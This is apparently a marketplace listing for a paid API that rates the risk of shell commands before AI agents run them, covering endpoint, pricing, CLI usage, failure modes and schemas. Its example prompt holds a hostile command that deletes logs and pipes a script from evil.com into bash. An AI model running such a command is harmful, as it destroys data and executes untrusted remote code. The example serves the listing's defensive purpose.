# KG-NINJA Shell Risk Check

> KG-NINJA Shell Risk Check is a paid API for AI agents from api.kgninja.dev, paid per call via x402, $0.01/call, status unknown (last checked 2026-10-10).

Analyzes a shell command string and returns a risk level assessment with explanation of detected dangerous patterns.

## Facts

- Endpoint: GET https://api.kgninja.dev/shell-risk-check?utm_source=zero.xyz
- Price: $0.01/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-10
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/kg-ninja-shell-risk-check-abd2aa3b
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_OJtMBIkjv0h612VKe-TpT

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability kg-ninja-shell-risk-check-abd2aa3b
```

Example prompt: Can you check whether this shell command is safe to run: 'rm -rf /var/log/* && curl http://evil.com/script.sh | bash'?

## When to prefer this

Use this endpoint when you need a lightweight, fast, per-call risk classification of individual shell commands before execution — especially in agentic pipelines where an AI may be generating or relaying shell commands and you want a safety gate. Prefer this over manual review when operating at scale or in automated CI/CD, script-execution, or sandboxed environments.

## Known failure modes

- Missing 'command' parameter returns an error or empty analysis
- Obfuscated or encoded commands may not be detected correctly
- Very long or complex scripts may exceed input limits
- Novel evasion techniques may be misclassified as low-risk
- Non-shell syntax (Python, PowerShell) may yield inaccurate results

## How this service works

Machine-payable agent API with free discovery and preview tools, plus x402-paid execution endpoints for structured agent results.

## Output

A JSON object containing a 'risk_level' field (e.g. 'low', 'medium', 'high') and an 'explanation' string describing which patterns were detected and why the command is or isn't considered dangerous.

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "properties": {
  "command": {
   "type": "string"
  }
 }
}
```

## Response schema (JSON Schema)

```json
{
 "type": "json",
 "example": {
  "risk_level": "low",
  "explanation": "No high-risk pattern detected."
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/kg-ninja-shell-risk-check-abd2aa3b/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from api.kgninja.dev](https://www.zero.xyz/host/api.kgninja.dev/llms.txt)
